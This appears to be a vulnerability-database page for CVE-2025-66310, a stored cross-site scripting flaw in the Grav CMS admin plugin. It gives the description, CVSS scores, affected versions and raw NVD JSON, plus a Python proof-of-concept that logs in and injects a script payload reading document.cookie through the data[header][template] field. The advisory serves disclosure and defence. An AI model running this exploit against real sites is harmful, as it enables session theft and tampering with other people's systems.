Security Vulnerability Report
中文
CVE-2025-66310 CVSS 5.4 MEDIUM

CVE-2025-66310

Published: 2025-12-01 22:15:51
Last Modified: 2025-12-03 21:56:30

Description

This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][template] parameter. The script is saved within the page's frontmatter and executed automatically whenever the affected content is rendered in the administrative interface or frontend view. This vulnerability is fixed in 1.11.0-beta.1.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:* - VULNERABLE
Grav admin plugin < 1.11.0-beta.1
Grav < 1.11.0-beta.1 (if using bundled admin plugin)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66310 PoC - Stored XSS in Grav admin plugin # Target: Grav admin plugin < 1.11.0-beta.1 # Endpoint: /admin/pages/[page] # Parameter: data[header][template] import requests import re from urllib.parse import urljoin TARGET_URL = "http://target-site.com" USERNAME = "attacker" PASSWORD = "attacker123" session = requests.Session() # Step 1: Login to Grav admin login_url = urljoin(TARGET_URL, "/admin/") login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Get page ID for exploitation pages_url = urljoin(TARGET_URL, "/admin/api/pages") response = session.get(pages_url) # Step 3: Create XSS payload # The payload is injected via data[header][template] parameter xss_payload = "test<script>alert(document.cookie)</script>" # Step 4: Submit the malicious template parameter page_edit_url = urljoin(TARGET_URL, "/admin/pages/test-page") edit_data = { "data[header][template]": xss_payload, "task": "save" } response = session.post(page_edit_url, data=edit_data) if "<script>alert" in response.text or response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] The XSS will execute when the page is viewed in admin or frontend") else: print("[-] Injection failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66310", "sourceIdentifier": "[email protected]", "published": "2025-12-01T22:15:51.067", "lastModified": "2025-12-03T21:56:30.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.11.0-beta.1, a Stored Cross-Site Scripting (XSS) vulnerability was identified in the /admin/pages/[page] endpoint of the Grav application. This vulnerability allows attackers to inject malicious scripts into the data[header][template] parameter. The script is saved within the page's frontmatter and executed automatically whenever the affected content is rendered in the administrative interface or frontend view. This vulnerability is fixed in 1.11.0-beta.1."}, {"lang": "es", "value": "Este plugin de administración para Grav es una interfaz de usuario HTML que proporciona una forma conveniente de configurar Grav y crear y modificar páginas fácilmente. Versiones anteriores a 1.11.0-beta.1, se identificó una vulnerabilidad de Cross-Site Scripting Almacenado (XSS) en el endpoint /admin/pages/[page] de la aplicación Grav. Esta vulnerabilidad permite a los atacantes inyectar scripts maliciosos en el parámetro data[header][template]. El script se guarda dentro del frontmatter de la página y se ejecuta automáticamente cada vez que el contenido afectado se renderiza en la interfaz administrativa o en la vista de frontend. Esta vulnerabilidad está corregida en 1.11.0-beta.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav-plugin-admin:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.10.50", "matchCriteriaId": "73FB7A1C-A39D-4C67-B437-015016437B77"}]}]}], "references": [{"url": "https://github.com/getgrav/grav-plugin-admin/commit/99f653296504f1d6408510dd2f6f20a45a26f9b0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-7g78-5g5g-mvfj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-7g78-5g5g-mvfj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}